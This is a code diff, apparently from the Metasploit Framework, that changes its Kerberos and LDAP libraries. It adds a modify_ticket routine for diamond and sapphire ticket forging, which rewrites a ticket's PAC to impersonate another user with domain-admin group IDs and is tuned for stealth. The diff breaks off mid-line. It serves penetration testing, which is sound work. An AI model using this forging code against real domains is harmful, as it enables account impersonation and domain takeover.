a/lib/msf/core/exploit/remote/kerberos/auth_brute.rb +++ b/lib/msf/core/exploit/remote/kerberos/auth_brute.rb @@ -71,7 +71,7 @@ module Msf::Exploit::Remote::Kerberos::AuthBrute # Accounts that have 'Do not require Kerberos preauthentication' enabled, will receive an ASREP response with a # ticket present without requiring a password. This can be cracked offline. - if !proof.preauth_required + if proof.decrypted_part.nil? print_good("#{peer} - User: #{format_user(user)} does not require preauthentication. Hash: #{hash}") else print_good("#{peer} - User found: #{format_user(user)} with password #{password}. Hash: #{hash}") diff --git a/lib/msf/core/exploit/remote/kerberos/client.rb b/lib/msf/core/exploit/remote/kerberos/client.rb index 5ce310155c..1a2d36bd0a 100644 --- a/lib/msf/core/exploit/remote/kerberos/client.rb +++ b/lib/msf/core/exploit/remote/kerberos/client.rb @@ -134,7 +134,7 @@ module Msf res end - # Sends a kerberos AS request and reads the response + # Sends a kerberos TGS request and reads the response # # @param opts [Hash] # @return [Rex::Proto::Kerberos::Model::KdcResponse] @@ -285,15 +285,49 @@ module Msf ), ) - initial_as_res = send_request_as(req: initial_as_req) + req_opts = {req: initial_as_req} + req_opts.update(options) + initial_as_res = send_request_as(req_opts) # If we receive an AS_REP response immediately, no-preauthentication was required and we can return immediately if initial_as_res.msg_type == Rex::Proto::Kerberos::Model::AS_REP + pa_data = initial_as_res.pa_data + etype_entries = pa_data.find {|entry| entry.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_ETYPE_INFO2} + if password.nil? && key.nil? + decrypted_part = nil + krb_enc_key = nil + else + # Let's try to check the password + server_ciphers = etype_entries.decoded_value + # Should only have one etype + etype_info = server_ciphers.etype_info2_entries[0] + if password + enc_key, salt = get_enc_key_from_password(password, etype_info) + elsif key + enc_key = key + end + begin + decrypted_part = decrypt_kdc_as_rep_enc_part( + initial_as_res, + enc_key, + ) + krb_enc_key = { + enctype: etype_info.etype, + key: enc_key, + salt: salt + } + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError + # It's as if it were an invalid password + decrypted_part = nil + krb_enc_key = nil + end + end + return Msf::Exploit::Remote::Kerberos::Model::TgtResponse.new( as_rep: initial_as_res, preauth_required: false, - decrypted_part: nil, - krb_enc_key: nil, + decrypted_part: decrypted_part, + krb_enc_key: krb_enc_key ) end @@ -334,12 +368,7 @@ module Msf selected_etype = selected_etypeinfo.etype if password - salt = selected_etypeinfo.salt - salt = salt.dup.force_encoding('utf-8') if salt - params = selected_etypeinfo.s2kparams - - encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(selected_etype) - enc_key = encryptor.string_to_key(password, salt, params: params) + enc_key, salt = get_enc_key_from_password(password, selected_etypeinfo) elsif key raise ArgumentError.new('Encryption key provided without one offered encryption type') unless options[:offered_etypes]&.length == 1 enc_key = key @@ -365,7 +394,9 @@ module Msf ) ) - preauth_as_res = send_request_as(req: preauth_as_req) + req_opts = {req: preauth_as_req} + req_opts.update(options) + preauth_as_res = send_request_as(req_opts) # If we've succeeded - break out of trying ciphers break if preauth_as_res.msg_type == Rex::Proto::Kerberos::Model::AS_REP @@ -401,6 +432,25 @@ module Msf def framework_module self end + + private + + # + # Construct the encryption key based on the etype_info passed + # @param password [String] The password to generate an encryption key for + # @param etype_info [Rex::Proto::Kerberos::Model::PreAuthEtypeInfo2Entry] + # @return [Array] The encryption key and the salt + # + def get_enc_key_from_password(password, etype_info) + salt = etype_info.salt + salt = salt.dup.force_encoding('utf-8') if salt + params = etype_info.s2kparams + + encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(etype_info.etype) + enc_key = encryptor.string_to_key(password, salt, params: params) + + [enc_key, salt] + end end end end diff --git a/lib/msf/core/exploit/remote/kerberos/client/pac.rb b/lib/msf/core/exploit/remote/kerberos/client/pac.rb index 739712b6b0..ba4d4cd267 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pac.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pac.rb @@ -36,7 +36,7 @@ module Msf # @option opts [Array] :extra_sids An array of extra sids, Ex: `['S-1-5-etc-etc-519']` # @option opts [String] :realm # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 - # @option opts [Time] :logon_time + # @option opts [Time] :auth_time # @option opts[String] :checksum_enc_key Encryption key for calculating the checksum # @option opts[Boolean] :is_golden Include requestor and pac attributes in the PAC (needed for golden tickets; not for silver) # @return [Rex::Proto::Kerberos::Pac::Krb5Pac] @@ -51,27 +51,52 @@ module Msf primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] extra_sids = opts[:extra_sids] || [] - domain_name = opts[:realm] || '' + logon_domain_name = opts[:logon_domain_name] || opts[:realm] || '' + logon_count = opts.fetch(:logon_count) { 0 } + password_last_set = opts.fetch(:password_last_set) { nil } domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID - logon_time = opts[:logon_time] || Time.now + auth_time = opts[:auth_time] || Time.now checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5 ticket_checksum = opts[:ticket_checksum] || nil is_golden = opts.fetch(:is_golden) { true } + base_vi = opts[:base_verification_info] + upn_dns_info_pac_element = opts[:upn_dns_info_pac_element] - validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new( - logon_time: logon_time, + obj_opts = { + logon_time: auth_time, effective_name: user_name, user_id: user_id, primary_group_id: primary_group_id, - logon_domain_name: domain_name, + logon_domain_name: logon_domain_name, logon_domain_id: domain_id, + logon_count: logon_count, full_name: '', logon_script: '', profile_path: '', home_directory: '', home_directory_drive: '', - logon_server: '' - ) + logon_server: '', + password_last_set: password_last_set + } + unless base_vi.nil? + obj_opts.merge({ + full_name: base_vi.full_name, + logon_script: base_vi.logon_script, + profile_path: base_vi.profile_path, + home_directory: base_vi.home_directory, + home_directory_drive: base_vi.home_directory_drive, + logon_server: base_vi.logon_server, + logon_count: base_vi.logon_count, + bad_password_count: base_vi.bad_password_count, + user_account_control: base_vi.user_account_control, + sub_auth_status: base_vi.sub_auth_status, + last_successful_i_logon: base_vi.last_successful_i_logon, + last_failed_i_logon: base_vi.last_failed_i_logon, + failed_i_logon_count: base_vi.failed_i_logon_count + }) + end + + validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new(**obj_opts) validation_info.group_ids = group_ids if extra_sids && extra_sids.length > 0 validation_info.extra_sids = extra_sids.map do |sid| @@ -84,7 +109,7 @@ module Msf ) client_info = Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new( - client_id: logon_time, + client_id: auth_time, name: user_name ) @@ -109,11 +134,16 @@ module Msf client_info ] + unless upn_dns_info_pac_element.nil? + pac_elements.append(upn_dns_info_pac_element) + end + if is_golden # These PAC elements are required for golden tickets in post-October 2022 systems pac_elements.append( pac_requestor, - pac_attributes) + pac_attributes + ) end pac_elements.append( diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb index b4001f8013..17bce90e1b 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb @@ -69,6 +69,10 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base # @return [String] whether to send delegated creds (from the set Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base::Delegation) attr_reader :send_delegated_creds + # @!attribute [r] dce_style + # @return [Boolean] Whether this encryptor will be used for DCERPC purposes (since the behaviour is subtly different) + attr_reader :dce_style + # @!attribute [r] ticket_storage # @return [Msf::Exploit::Remote::Kerberos::Ticket::Storage::Base] the ticket storage driver attr_reader :ticket_storage @@ -86,15 +90,17 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base :print_status, :print_good, :vprint_error, + :vprint_status, :workspace # Flags - https://datatracker.ietf.org/doc/html/rfc4121#section-4.1.1.1 - GSS_DELEGATE = 1 - GSS_MUTUAL = 2 - GSS_REPLAY_DETECT = 4 - GSS_SEQUENCE = 8 - GSS_CONFIDENTIAL = 16 - GSS_INTEGRITY = 32 + GSS_DELEGATE = 0x01 + GSS_MUTUAL = 0x02 + GSS_REPLAY_DETECT = 0x04 + GSS_SEQUENCE = 0x08 + GSS_CONFIDENTIAL = 0x10 + GSS_INTEGRITY = 0x20 + GSS_DCE_STYLE = 0x1000 module Delegation ALWAYS = 'always' # Always send delegated creds @@ -117,6 +123,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base use_gss_checksum: false, mechanism: Rex::Proto::Gss::Mechanism::SPNEGO, send_delegated_creds: Delegation::ALWAYS, + dce_style: false, cache_file: nil, ticket_storage: nil, key: nil, @@ -138,6 +145,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base @use_gss_checksum = use_gss_checksum @mechanism = mechanism @send_delegated_creds = send_delegated_creds + @dce_style = dce_style @ticket_storage = ticket_storage || Msf::Exploit::Remote::Kerberos::Ticket::Storage::ReadWrite.new( framework: framework, framework_module: framework_module @@ -183,6 +191,23 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base port end + def connect(options = {}) + unless options[:rhost] + unless (host = @host) + vprint_status("Using DNS to lookup the KDC for #{realm}...") + host = ::Rex::Socket.getresources("_kerberos._tcp.#{realm}", :SRV)&.sample + if host.nil? + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("Failed to lookup the KDC") + end + print_status("Using KDC #{host} for realm #{realm}") + @host = host + end + options[:rhost] = host + end + + super(options) + end + # @param [Hash] options # @option options [String] :credential An explicit credential object to use for authentication. # @option options [Rex::Proto::Kerberos::Model::PrincipalName] :sname The target service principal name. @@ -198,22 +223,27 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base else # load a cached TGS options[:credential] = get_cached_credential(options) + tgt_sname = Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST, + name_string: [ + "krbtgt", + realm + ] + ) unless options[:credential] - # load a cached TGT + # load a cached TGT (specific host) options[:credential] = get_cached_credential( - options.merge( - sname: Rex::Proto::Kerberos::Model::PrincipalName.new( - name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST, - name_string: [ - "krbtgt", - realm - ] - ) - ) + options.merge(sname: tgt_sname) + ) + end + unless options[:credential] + # load a cached TGT (any host) + options[:credential] = get_cached_credential( + options.merge(sname: tgt_sname, host: nil) ) end if options[:credential] - print_status("#{peer} - Using cached credential for #{options[:credential].server} #{options[:credential].client}") + print_status("Using cached credential for #{options[:credential].server} #{options[:credential].client}") end end end @@ -247,7 +277,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base client_sequence_number, server_sequence_number, is_initiator: true, - use_acceptor_subkey: true) + use_acceptor_subkey: true, + dce_style: @dce_style) end def parse_gss_init_response(token, session_key, mechanism: 'kerberos') @@ -258,16 +289,17 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base data = encapsulated_token[2, encapsulated_token.length] case tok_id when TOK_ID_KRB_AP_REP - ap_req = Rex::Proto::Kerberos::Model::ApRep.decode(data) + ap_rep = Rex::Proto::Kerberos::Model::ApRep.decode(data) print_good("#{peer} - Received AP-REQ. Extracting session key...") - raise ::Rex::Proto::Kerberos::Model::Error::KerberosError, 'Mismatching etypes' if session_key.type != ap_req.enc_part.etype + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError, 'Mismatching etypes' if session_key.type != ap_rep.enc_part.etype - decrypted = ap_req.decrypt_enc_part(session_key.value) + decrypted = ap_rep.decrypt_enc_part(session_key.value) result = { ap_rep_subkey: decrypted.subkey, - server_sequence_number: decrypted.sequence_number + server_sequence_number: decrypted.sequence_number, + etype: ap_rep.enc_part.etype } when TOK_ID_KRB_ERROR krb_err = Rex::Proto::Kerberos::Model::KrbError.decode(data) @@ -284,13 +316,19 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base end # @param security_blob [String] SPNEGO GSS Blob - # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if the response was not successful - def validate_response!(security_blob) - gss_api = OpenSSL::ASN1.decode(security_blob) - neg_result = ::RubySMB::Gss.asn1dig(gss_api, 0, 0, 0)&.value.to_i - supported_neg = ::RubySMB::Gss.asn1dig(gss_api, 0, 1, 0)&.value + # @param accept_incomplete [Boolean] Whether an Incomplete value is an acceptable response + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosError] if the response was not successful + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if the response was invalid per the Kerberos/GSS protocol + def validate_response!(security_blob, accept_incomplete: false) + begin + gss_api = OpenSSL::ASN1.decode(security_blob) + neg_result = ::RubySMB::Gss.asn1dig(gss_api, 0, 0, 0)&.value.to_i + supported_neg = ::RubySMB::Gss.asn1dig(gss_api, 0, 1, 0)&.value + rescue OpenSSL::ASN1::ASN1Error + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError.new('Invalid GSS Response') + end - is_success = neg_result == NEG_TOKEN_ACCEPT_COMPLETED && + is_success = (neg_result == NEG_TOKEN_ACCEPT_COMPLETED || (accept_incomplete && neg_result == NEG_TOKEN_ACCEPT_INCOMPLETE)) && supported_neg == ::Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new('Failed to negotiate Kerberos GSS') unless is_success @@ -325,7 +363,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base end if credential - print_status("#{peer} - Using cached credential for #{credential.server} #{credential.client}") + print_status("Using cached credential for #{credential.server} #{credential.client}") return credential end @@ -343,7 +381,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base def request_tgs_only(credential, options = {}) # load a cached TGS if (ccache = get_cached_credential(options)) - print_status("#{peer} - Using cached credential for #{ccache.server} #{ccache.client}") + print_status("Using cached credential for #{ccache.server} #{ccache.client}") return ccache end @@ -467,6 +505,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base # Request a service ticket to a user on behalf of themselves # This is mostly useful for PKINIT to recover the NT hash + # Can combine this with S4U2Self by providing an :impersonate option + # to retrieve a PAC for any account, i.e. Sapphire Ticket attack # # @see https://learn.microsoft.com/en-us/archive/blogs/openspecification/how-kerberos-user-to-user-authentication-works # @@ -504,6 +544,16 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base additional_tickets: [ticket] } + if options[:impersonate] + tgs_options[:pa_data] = build_pa_for_user( + { + username: options[:impersonate], + session_key: session_key, + realm: self.realm + } + ) + end + request_service_ticket( session_key, ticket, @@ -563,7 +613,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base ) end - if !tgt_result.preauth_required + if tgt_result.decrypted_part.nil? && !tgt_result.preauth_required raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new( 'Kerberos ticket does not require preauthentication. It is not possible to decrypt the encrypted message to request further TGS tickets. Try cracking the password via AS-REP Roasting techniques.', ) @@ -616,7 +666,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base ## Service Authentication checksum = nil - checksum = build_gss_ap_req_checksum_value(mutual_auth, nil, nil, nil, nil, nil) if use_gss_checksum + checksum = build_gss_ap_req_checksum_value(mutual_auth, dce_style, nil, nil, nil, nil, nil) if use_gss_checksum sequence_number = rand(1 << 32) service_ap_request = build_service_ap_request( @@ -706,6 +756,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base if use_gss_checksum checksum = build_gss_ap_req_checksum_value( mutual_auth, + dce_style, delegated_tgs_ticket, delegated_tgs_auth, tgs_auth.key, @@ -740,7 +791,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base } end - def build_gss_ap_req_checksum_value(mutual_auth, ticket, decrypted_part, session_key, realm, client_name) + def build_gss_ap_req_checksum_value(mutual_auth, dce_style, ticket, decrypted_part, session_key, realm, client_name) # @see https://datatracker.ietf.org/doc/html/rfc4121#section-4.1.1 # No channel binding channel_binding_info = "\x00" * 16 @@ -748,6 +799,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base flags = GSS_REPLAY_DETECT | GSS_SEQUENCE | GSS_CONFIDENTIAL | GSS_INTEGRITY flags |= GSS_MUTUAL if mutual_auth + flags |= GSS_DCE_STYLE if dce_style flags |= GSS_DELEGATE if ticket flags = [flags].pack('V') @@ -977,7 +1029,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base def get_cached_credential(options = {}) driver = options.fetch(:ticket_storage, @ticket_storage) driver.load_credential( - host: rhost, + host: options.fetch(:host) { rhost }, client: options.fetch(:username) { self.username }, server: options.fetch(:sname, nil), realm: options.fetch(:realm) { self.realm } @@ -1030,7 +1082,9 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base next end - unless !sname_hostname || sname_hostname.to_s.casecmp?(credential.server.components[1]) + unless !sname_hostname || + sname_hostname.to_s.downcase == credential.server.components[1] || + sname_hostname.to_s.downcase.ends_with?('.' + credential.server.components[1]) wlog("Filtered credential #{file_path} ##{index} reason: SPN (#{sname_hostname}) hostname does not match (spn: #{credential.server.components.snapshot.join('/')})") next end diff --git a/lib/msf/core/exploit/remote/kerberos/ticket.rb b/lib/msf/core/exploit/remote/kerberos/ticket.rb index 9df7075f62..5bfe0fc28a 100644 --- a/lib/msf/core/exploit/remote/kerberos/ticket.rb +++ b/lib/msf/core/exploit/remote/kerberos/ticket.rb @@ -8,6 +8,28 @@ module Msf class Remote module Kerberos module Ticket + GROUP_IDS = [ + Rex::Proto::Kerberos::Pac::DOMAIN_USERS, + Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS, + Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS, + Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS, + Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS, + ] + + def get_checksum_type(enc_type) + # https://www.ietf.org/rfc/rfc3962.txt#:~:text=7.%20%20Assigned%20Numbers + case enc_type + when Rex::Proto::Kerberos::Crypto::Encryption::AES256 + Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256 + when Rex::Proto::Kerberos::Crypto::Encryption::AES128 + Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES128 + when Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC + Rex::Proto::Kerberos::Crypto::Checksum::HMAC_MD5 + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("Unknown crypto type: #{enc_type}") + end + end + # @param [String] session_key The session key # @param [Array] extra_sids An array of extra sids, Ex: `['S-1-5-etc-etc-519']` def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:, @@ -15,22 +37,7 @@ module Msf domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true) sname_principal = create_principal(sname) cname_principal = create_principal(username) - group_ids = [ - Rex::Proto::Kerberos::Pac::DOMAIN_USERS, - Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS, - Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS, - Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS, - Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS, - ] - # https://www.ietf.org/rfc/rfc3962.txt#:~:text=7.%20%20Assigned%20Numbers - case enc_type - when Rex::Proto::Kerberos::Crypto::Encryption::AES256 - checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256 - when Rex::Proto::Kerberos::Crypto::Encryption::AES128 - checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES128 - else - checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::HMAC_MD5 - end + checksum_type = get_checksum_type(enc_type) session_key_byte_length = enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 ? 32 : 16 session_key ||= SecureRandom.hex(session_key_byte_length / 2) @@ -51,7 +58,7 @@ module Msf session_key: session_key, enc_type: enc_type, user_id: user_id, - group_ids: group_ids, + group_ids: GROUP_IDS, checksum_type: checksum_type, client_name: username, domain_id: domain_sid, @@ -77,6 +84,115 @@ module Msf ccache end + # + # Take an existing ticket and change its PAC to have the provided user value + # (Used for diamond ticket functionality) + # @param ticket [Ticket] The ticket to modify + # @param enc_kdc_response [EncKdcResponse] The decrypted KDC response containing contextual information + # @param new_user [String] The username to apply to the ticket + # @param new_user_rid [Integer] The user RID to apply to the ticket + # @param domain [String] The domain of the user + # @param extra_sids [List] Extra SIDs to include in the ticket + # @param ticket_decryption_key [String] The encryption key of the existing ticket (krbtgt or a session key) + # @param ticket_encryption_type [Integer] The encryption type of the resulting ticket + # @param ticket_encryption_key [String] The encryption key for the resulting ticket (usually krbtgt) + # @param copy_entire_pac [Boolean] Whether to copy all values (extra stealth, as long as the values are accurate i.e. sapphire ticket), or just the important ones + # + def modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac) + ticket_enc_part = ticket.enc_part + decrypted_ticket_part = ticket_enc_part.decrypt_asn1(ticket_decryption_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET) + decoded_ticket_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_ticket_part) + auth_data_val = decoded_ticket_part.authorization_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT} + if auth_data_val.length != 1 + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC AD_IF_RELEVANT elements found (expected 1)") + end + + pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.decode(auth_data_val[0][:data]) + elements = pac_auth_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC} + + if elements.length != 1 + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC elements found (expected 1)") + end + + realm = domain + checksum_type = get_checksum_type(ticket_encryption_type) + existing_pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(elements[0][:data]) + cname_principal = create_principal(new_user) + + sname_principal = create_principal(['krbtgt',domain.upcase]) + opts = { + client: cname_principal, + server: sname_principal, + auth_time: enc_kdc_response.auth_time, + start_time: enc_kdc_response.start_time, + end_time: enc_kdc_response.end_time, + renew_till: enc_kdc_response.renew_till, + realm: realm.upcase, + key_value: ticket_encryption_key, + checksum_enc_key: ticket_encryption_key, + session_key: enc_kdc_response.key.value, + enc_type: enc_kdc_response.key.type, + user_id: new_user_rid, + group_ids: GROUP_IDS, + checksum_type: checksum_type, + client_name: new_user, + extra_sids: extra_sids, + flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags), + create_ticket_checksum: false, + is_golden: true, + } + #### + + domain_sid = nil + existing_pac.pac_info_buffers.each do |buff| + element = buff.buffer.pac_element + case element.ul_type + when Rex::Proto::Kerberos::Pac::Krb5PacElementType::LOGON_INFORMATION + opts[:group_id] = element.data.primary_group_id.value + opts[:domain_id] = element.data.logon_domain_id + opts[:logon_domain_name] = element.data.logon_domain_name + opts[:logon_count] = element.data.logon_count + opts[:password_last_set] = element.data.password_last_set + opts[:user_id] = element.data.user_id unless opts[:user_id] + if copy_entire_pac + opts[:base_verification_info] = element.data + element.data.extra_sids.each do |sid| + opts[:extra_sids].append(sid.sid.to_s) + end + end + when Rex::Proto::Kerberos::Pac::Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION + if copy_entire_pac + opts[:upn_dns_info_pac_element] = element + end + when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM + # We want to be stealthy and match whatever the KDC is doing, so we should do it too + opts[:create_ticket_checksum] = true + end + end + + ticket_enc_part = create_enc_ticket_part(opts: opts) + enc_part = encrypt_ticket_enc_part( + ticket_enc_part: ticket_enc_part, key: ticket_encryption_key, enc_type: ticket_encryption_type + ) + ticket = Rex::Proto::Kerberos::Model::Ticket.new( + tkt_vno: Rex::Proto::Kerberos::Model::VERSION, + realm: opts[:realm], + sname: opts[:server], + enc_part: enc_part + ) + + ccache = ticket_as_krb5ccache(ticket, opts: opts) + + ccache + end + + def create_new_sid(existing_sid, new_rid) + existing_sid = existing_sid.to_s + domain_sid = existing_sid[0..existing_sid.rindex('-')] + + "#{domain_sid}#{new_rid}" + end + def create_enc_ticket_part(opts:) ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.new @@ -112,7 +228,7 @@ module Msf ) end - def silver_ticket_flags + def tgs_flags [ Rex::Proto::Kerberos::Model::TicketFlags::FORWARDABLE, Rex::Proto::Kerberos::Model::TicketFlags::PROXIABLE, @@ -121,8 +237,8 @@ module Msf ] end - def golden_ticket_flags - silver_ticket_flags << Rex::Proto::Kerberos::Model::TicketFlags::INITIAL + def tgt_flags + tgs_flags << Rex::Proto::Kerberos::Model::TicketFlags::INITIAL end # @param [Rex::Proto::Kerberos::Model::Ticket] ticket diff --git a/lib/msf/core/exploit/remote/ldap/queries.rb b/lib/msf/core/exploit/remote/ldap/queries.rb new file mode 100755 index 0000000000..630a88d9fe --- /dev/null +++ b/lib/msf/core/exploit/remote/ldap/queries.rb @@ -0,0 +1,328 @@ +module Msf + ### + # + # This module exposes methods for querying a remote LDAP service + # + ### + module Exploit::Remote::LDAP + module Queries + def safe_load_queries(filename) + begin + settings = YAML.safe_load(File.binread(filename)) + rescue StandardError => e + elog("Couldn't parse #{filename}", error: e) + return + end + + return unless settings['queries'].is_a? Array + + settings['queries'] + end + + def perform_ldap_query(ldap, filter, attributes, base, schema_dn, scope: nil) + results = [] + perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: scope) do |result| + results << result + end + + query_result_table = ldap.get_operation_result.table + validate_query_result!(query_result_table, filter) + + if results.nil? || results.empty? + print_error("No results found for #{filter}.") + return nil + end + + results + end + + def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil) + attribute_properties = query_attributes_data(ldap, attributes.map(&:to_sym), schema_dn) + + scope ||= Net::LDAP::SearchScope_WholeSubtree + result_count = 0 + ldap.search(base: base, filter: filter, attributes: attributes, scope: scope, return_result: false) do |result| + result_count += 1 + yield result, attribute_properties if block_given? + end + + result_count + end + + def generate_rex_tables(entry, format) + tbl = Rex::Text::Table.new( + 'Header' => entry[:dn][0].split(',').join(' '), + 'Indent' => 1, + 'Columns' => %w[Name Attributes] + ) + + entry.each_key do |attr| + if format == 'table' + tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header. + else + tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in. + end + end + + case format + when 'table' + print_line(tbl.to_s) + when 'csv' + print_line(tbl.to_csv) + else + fail_with(Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!") + end + end + + def convert_nt_timestamp_to_time_string(nt_timestamp) + Time.at((nt_timestamp.to_i - 116444736000000000) / 10000000).utc.to_s + end + + def convert_pwd_age_to_time_string(timestamp) + seconds = (timestamp.to_i / -1) / 10000000 # Convert always negative number to positive then convert to seconds from tick count. + days = seconds / 86400 + hours = (seconds % 86400) / 3600 + minutes = ((seconds % 86400) % 3600) / 60 + real_seconds = (((seconds % 86400) % 3600) % 60) + return "#{days}:#{hours.to_s.rjust(2, '0')}:#{minutes.to_s.rjust(2, '0')}:#{real_seconds.to_s.rjust(2, '0')}" + end + + # Read in a DER formatted certificate file and transform it into a + # OpenSSL::X509::Certificate object before then using that object to + # read the properties of the certificate and return this info as a string. + def read_der_certificate_file(cert) + openssl_certificate = OpenSSL::X509::Certificate.new(cert) + version = openssl_certificate.version + subject = openssl_certificate.subject + issuer = openssl_certificate.issuer + algorithm = openssl_certificate.signature_algorithm + extensions = openssl_certificate.extensions.join(' | ') + extensions.strip! + extensions.gsub!(/ \|$/, '') # Strip whitespace and then strip trailing | from end of string. + [openssl_certificate, "Version: 0x#{version}, Subject: #{subject}, Issuer: #{issuer}, Signature Algorithm: #{algorithm}, Extensions: #{extensions}"] + end + + # Taken from https://www.powershellgallery.com/packages/S.DS.P/2.1.3/Content/Transforms%5CsystemFlags.ps1 + # and from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1e38247d-8234-4273-9de3-bbf313548631 + FLAG_DISALLOW_DELETE = 0x80000000 + FLAG_CONFIG_ALLOW_RENAME = 0x40000000 + FLAG_CONFIG_ALLOW_MOVE = 0x20000000 + FLAG_CONFIG_ALLOW_LIMITED_MOVE = 0x10000000 + FLAG_DOMAIN_DISALLOW_RENAME = 0x8000000 + FLAG_DOMAIN_DISALLOW_MOVE = 0x4000000 + FLAG_DISALLOW_MOVE_ON_DELETE = 0x2000000 + FLAG_ATTR_IS_RDN = 0x20 + FLAG_SCHEMA_BASE_OBJECT = 0x10 + FLAG_ATTR_IS_OPERATIONAL = 0x8 + FLAG_ATTR_IS_CONSTRUCTED = 0x4 + FLAG_ATTR_REQ_PARTIAL_SET_MEMBER = 0x2 + FLAG_NOT_REPLICATED = 0x1 + + def convert_system_flags_to_string(flags) + flags_converted = flags.to_i + flag_string = '' + flag_string << 'FLAG_DISALLOW_DELETE | ' if flags_converted & FLAG_DISALLOW_DELETE > 0 + flag_string << 'FLAG_CONFIG_ALLOW_RENAME | ' if flags_converted & FLAG_CONFIG_ALLOW_RENAME > 0 + flag_string << 